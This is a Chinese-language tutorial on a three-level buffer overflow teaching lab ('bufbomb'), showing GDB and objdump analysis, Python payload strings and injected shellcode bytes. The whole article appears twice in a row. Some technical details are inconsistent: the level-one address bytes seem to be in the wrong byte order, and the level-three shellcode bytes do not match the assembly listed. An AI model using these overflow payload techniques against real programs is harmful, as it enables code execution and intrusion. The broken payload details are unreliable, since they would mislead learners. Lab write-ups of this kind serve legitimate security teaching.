GDB objdump 实战缓冲区溢出3 关卡攻击链分析与栈帧定位缓冲区溢出攻击一直是系统安全领域最经典也最具破坏性的漏洞类型之一。作为安全研究人员或逆向工程师深入理解缓冲区溢出的底层原理和实战技巧不仅能帮助我们更好地防御这类攻击也能提升对程序运行时内存管理的认知。本文将基于经典的三关卡缓冲区溢出实验通过GDB调试器和objdump反汇编工具的实战配合带你一步步拆解攻击链中的关键环节。1. 实验环境与工具准备在开始分析之前我们需要配置好实验环境。本次实验基于Linux平台主要工具包括GDB调试器用于动态分析程序执行流程和内存状态objdump反汇编工具用于静态分析二进制文件的汇编代码32位兼容库确保在64位系统上能运行32位实验程序编译参数调整关闭现代系统的安全保护机制# 安装32位兼容库Ubuntu/Debian sudo apt-get install gcc-multilib # 编译时关闭保护机制 gcc -m32 -fno-stack-protector -z execstack -o bufbomb bufbomb.c注意实际生产环境中绝对不要关闭这些安全机制这里仅用于教学目的。关键保护机制包括栈保护Stack Protector防止返回地址被覆盖地址随机化ASLR随机化内存布局增加攻击难度NX位No-eXecute阻止栈上代码执行2. 栈帧结构与溢出原理理解栈帧结构是分析缓冲区溢出的基础。当函数被调用时栈上会创建一个新的栈帧典型布局如下32位系统内存地址内容说明高地址参数n函数调用参数从右到左.........参数1参数1返回地址call指令后的下条指令EIP寄存器保存位置旧EBP调用者的EBP值当前EBP指向这里低地址局部变量如char buffer[32]当向局部变量如字符数组写入数据时如果没有边界检查超出数组大小的数据会向高地址覆盖依次破坏旧EBP、返回地址等关键数据。通过精心构造溢出数据我们可以覆盖返回地址劫持程序执行流在栈上注入shellcode并跳转执行链式调用已有函数如system()3. 关卡一简单返回地址劫持第一关目标是让getbuf()函数返回时不回到调用者而是跳转到smoke()函数。通过objdump分析二进制objdump -d bufbomb | grep -A20 getbuf:关键汇编代码片段080491f2 getbuf: 80491f2: 55 push %ebp 80491f3: 89 e5 mov %esp,%ebp 80491f5: 83 ec 18 sub $0x18,%esp # 分配24字节栈空间 [...]通过GDB动态分析gdb bufbomb (gdb) break getbuf (gdb) run (gdb) info frame Stack level 0, frame at 0xffffd120: eip 0x80491f2 in getbuf; saved eip 0x80492a5 called by frame at 0xffffd150 Arglist at 0xffffd118, args: Locals at 0xffffd118, Previous frames sp is 0xffffd120 Saved registers: ebp at 0xffffd118, eip at 0xffffd11c计算偏移量缓冲区起始地址$ebp - 0x18(24字节)返回地址位置$ebp 0x4需要填充24(缓冲区) 4(旧EBP) 28字节构造payload[28个任意字符][smoke函数地址]使用Python生成攻击字符串python -c print A*28 \x08\x49\x92\x04 input.txt4. 关卡二带参数的函数跳转第二关要求跳转到fizz()函数并传递正确的参数cookie值。分析fizz()的汇编0804920d fizz: 804920d: 55 push %ebp 804920e: 89 e5 mov %esp,%ebp 8049210: 83 ec 08 sub $0x8,%esp 8049213: 8b 45 08 mov 0x8(%ebp),%eax # 获取第一个参数 8049216: 3b 05 d4 a1 04 08 cmp 0x804a1d4,%eax # 与cookie比较参数传递规则参数通过栈传递位于返回地址上方32位系统中每个参数占4字节payload结构[28字节填充][fizz地址][4字节返回地址][cookie值]实际操作步骤使用makecookie生成个人cookie计算小端序字节表示构造完整payloadpython -c print A*28 \x0d\x92\x04\x08 AAAA \xef\xbe\xad\xde input2.txt5. 关卡三栈上代码执行与全局变量修改第三关最具挑战性要求在栈上注入汇编代码修改全局变量global_value然后跳转到bang()函数关键步骤5.1 编写汇编代码创建exploit.s文件movl $0x804a1d4, %eax # cookie地址 movl (%eax), %ebx # 读取cookie值 movl $0x804a1c4, %ecx # global_value地址 movl %ebx, (%ecx) # 写入global_value ret # 返回到bang函数编译为机器码gcc -m32 -c exploit.s objdump -d exploit.o5.2 确定栈地址通过GDB获取buf数组地址(gdb) break getbuf (gdb) run (gdb) print/x $ebp-0x18 $1 0xffffcfd05.3 构造payloadpayload结构[注入的机器码][填充][buf地址]具体构造shellcode \x8b\x04\x25\xd4\xa1\x04\x08\x8b\x18\x8b\x0c\x25\xc4\xa1\x04\x08\x89\x19\xc3 padding A*(28-len(shellcode)) eip \xd0\xcf\xff\xff print shellcode padding eip6. 防御技术与现代缓解措施虽然我们成功演示了缓冲区溢出攻击但现代系统已部署多种防护机制技术防护目标绕过难度栈保护Canary检测返回地址是否被修改高ASLR随机化内存布局中NX/DEP阻止栈上代码执行高Control Flow Integrity验证控制流转移合法性极高在实际漏洞挖掘中往往需要组合多种技术如ROPReturn-Oriented Programming来绕过这些保护。理解这些底层原理能帮助我们编写更安全的代码——始终验证输入长度、使用安全函数如strncpy替代strcpy、最小化权限原则等。
GDB + objdump 实战缓冲区溢出:3 关卡攻击链分析与栈帧定位
发布时间:2026/7/9 4:16:44
GDB objdump 实战缓冲区溢出3 关卡攻击链分析与栈帧定位缓冲区溢出攻击一直是系统安全领域最经典也最具破坏性的漏洞类型之一。作为安全研究人员或逆向工程师深入理解缓冲区溢出的底层原理和实战技巧不仅能帮助我们更好地防御这类攻击也能提升对程序运行时内存管理的认知。本文将基于经典的三关卡缓冲区溢出实验通过GDB调试器和objdump反汇编工具的实战配合带你一步步拆解攻击链中的关键环节。1. 实验环境与工具准备在开始分析之前我们需要配置好实验环境。本次实验基于Linux平台主要工具包括GDB调试器用于动态分析程序执行流程和内存状态objdump反汇编工具用于静态分析二进制文件的汇编代码32位兼容库确保在64位系统上能运行32位实验程序编译参数调整关闭现代系统的安全保护机制# 安装32位兼容库Ubuntu/Debian sudo apt-get install gcc-multilib # 编译时关闭保护机制 gcc -m32 -fno-stack-protector -z execstack -o bufbomb bufbomb.c注意实际生产环境中绝对不要关闭这些安全机制这里仅用于教学目的。关键保护机制包括栈保护Stack Protector防止返回地址被覆盖地址随机化ASLR随机化内存布局增加攻击难度NX位No-eXecute阻止栈上代码执行2. 栈帧结构与溢出原理理解栈帧结构是分析缓冲区溢出的基础。当函数被调用时栈上会创建一个新的栈帧典型布局如下32位系统内存地址内容说明高地址参数n函数调用参数从右到左.........参数1参数1返回地址call指令后的下条指令EIP寄存器保存位置旧EBP调用者的EBP值当前EBP指向这里低地址局部变量如char buffer[32]当向局部变量如字符数组写入数据时如果没有边界检查超出数组大小的数据会向高地址覆盖依次破坏旧EBP、返回地址等关键数据。通过精心构造溢出数据我们可以覆盖返回地址劫持程序执行流在栈上注入shellcode并跳转执行链式调用已有函数如system()3. 关卡一简单返回地址劫持第一关目标是让getbuf()函数返回时不回到调用者而是跳转到smoke()函数。通过objdump分析二进制objdump -d bufbomb | grep -A20 getbuf:关键汇编代码片段080491f2 getbuf: 80491f2: 55 push %ebp 80491f3: 89 e5 mov %esp,%ebp 80491f5: 83 ec 18 sub $0x18,%esp # 分配24字节栈空间 [...]通过GDB动态分析gdb bufbomb (gdb) break getbuf (gdb) run (gdb) info frame Stack level 0, frame at 0xffffd120: eip 0x80491f2 in getbuf; saved eip 0x80492a5 called by frame at 0xffffd150 Arglist at 0xffffd118, args: Locals at 0xffffd118, Previous frames sp is 0xffffd120 Saved registers: ebp at 0xffffd118, eip at 0xffffd11c计算偏移量缓冲区起始地址$ebp - 0x18(24字节)返回地址位置$ebp 0x4需要填充24(缓冲区) 4(旧EBP) 28字节构造payload[28个任意字符][smoke函数地址]使用Python生成攻击字符串python -c print A*28 \x08\x49\x92\x04 input.txt4. 关卡二带参数的函数跳转第二关要求跳转到fizz()函数并传递正确的参数cookie值。分析fizz()的汇编0804920d fizz: 804920d: 55 push %ebp 804920e: 89 e5 mov %esp,%ebp 8049210: 83 ec 08 sub $0x8,%esp 8049213: 8b 45 08 mov 0x8(%ebp),%eax # 获取第一个参数 8049216: 3b 05 d4 a1 04 08 cmp 0x804a1d4,%eax # 与cookie比较参数传递规则参数通过栈传递位于返回地址上方32位系统中每个参数占4字节payload结构[28字节填充][fizz地址][4字节返回地址][cookie值]实际操作步骤使用makecookie生成个人cookie计算小端序字节表示构造完整payloadpython -c print A*28 \x0d\x92\x04\x08 AAAA \xef\xbe\xad\xde input2.txt5. 关卡三栈上代码执行与全局变量修改第三关最具挑战性要求在栈上注入汇编代码修改全局变量global_value然后跳转到bang()函数关键步骤5.1 编写汇编代码创建exploit.s文件movl $0x804a1d4, %eax # cookie地址 movl (%eax), %ebx # 读取cookie值 movl $0x804a1c4, %ecx # global_value地址 movl %ebx, (%ecx) # 写入global_value ret # 返回到bang函数编译为机器码gcc -m32 -c exploit.s objdump -d exploit.o5.2 确定栈地址通过GDB获取buf数组地址(gdb) break getbuf (gdb) run (gdb) print/x $ebp-0x18 $1 0xffffcfd05.3 构造payloadpayload结构[注入的机器码][填充][buf地址]具体构造shellcode \x8b\x04\x25\xd4\xa1\x04\x08\x8b\x18\x8b\x0c\x25\xc4\xa1\x04\x08\x89\x19\xc3 padding A*(28-len(shellcode)) eip \xd0\xcf\xff\xff print shellcode padding eip6. 防御技术与现代缓解措施虽然我们成功演示了缓冲区溢出攻击但现代系统已部署多种防护机制技术防护目标绕过难度栈保护Canary检测返回地址是否被修改高ASLR随机化内存布局中NX/DEP阻止栈上代码执行高Control Flow Integrity验证控制流转移合法性极高在实际漏洞挖掘中往往需要组合多种技术如ROPReturn-Oriented Programming来绕过这些保护。理解这些底层原理能帮助我们编写更安全的代码——始终验证输入长度、使用安全函数如strncpy替代strcpy、最小化权限原则等。